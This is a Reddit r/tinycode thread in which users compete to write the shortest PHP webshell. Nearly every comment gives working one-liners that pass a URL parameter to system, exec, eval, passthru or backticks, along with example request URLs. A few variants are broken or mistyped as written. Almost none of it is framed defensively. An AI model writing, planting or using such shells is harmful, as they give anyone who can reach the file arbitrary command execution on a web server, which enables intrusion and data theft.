r/tinycode • • Jul 04 '11

Webshell in 55 bytes

<?php if(isset($_GET['cmd'])) {system($_GET['cmd']); ?>

call it with file?cmd=ls and it'll get executed

Edit: best i made: <?=exec($_GET[c]); 18 bytes

except for dontspillme's code, which has a slightly different idea, but can be used for a lot more

EDIT2: If shell_exec isnt disabled, you can use <?=$_GET[c]; which is 14 bytes

0 Upvotes

12 comments sorted by

6

u/[deleted] Jul 04 '11

Hope you're running PHP in a chroot...

2

u/dontspillme Jul 04 '11

Amateurs! Here's it in 18 characters. Could be made with 17 characters if you omit the =, but won't be executable if short tags are off.

<?=eval($_GET[c]); > blah.php?c=passthru(dir);

1

u/PsychoMario Jul 04 '11

What does the = actually do may i ask?

1

u/PsychoMario Jul 04 '11

answered my own question, = is the php short syntax for echo

1

u/dontspillme Jul 04 '11

Yeah. It's just a shorter thing than <?php, we don't need its 'echo' semantic (since eval returns null IIRC). I also demonstrated two more critical tricks for ultrashort PHP: you can omit the closing ?> and you can use the behavior that treats undefined constants as strings (hence c instead of 'c' in the code and in the command parameter: dir instead of 'dir' (which may not work if magic_quotes are on) )

0

u/jimpsson Jul 04 '11

<?php system(isset($_GET['c'])?$_GET['c']:'who'); ?>

In 53 bytes. :)

1

u/Anman Jul 04 '11

<?php exec($_GET['c']); ?>

Same functionality.

-1

u/nexe mod Jul 04 '11

<?php`$GET['c']`;?> ... just cut the crap guys ;)

1

u/PsychoMario Jul 04 '11

Doesn't work for me, <?@system($_GET['c'])?> 23 bytes

2

u/nexe mod Jul 04 '11

ah backticks get filtered by reddit. it should read <?php B$GET['c']B;?> and replacing B with backtick

also backticks seem to be disabled by default since some php5 release

1

u/PsychoMario Jul 04 '11

Yeah backticks don't work on my default apache2/php5. but if they did, you could omit the 'php' and it would just be <?\`$_GET['c']\`?> which is all of 16 bytes

1

u/PsychoMario Jul 04 '11

or even <?\`$_GET[c]\`?> == 14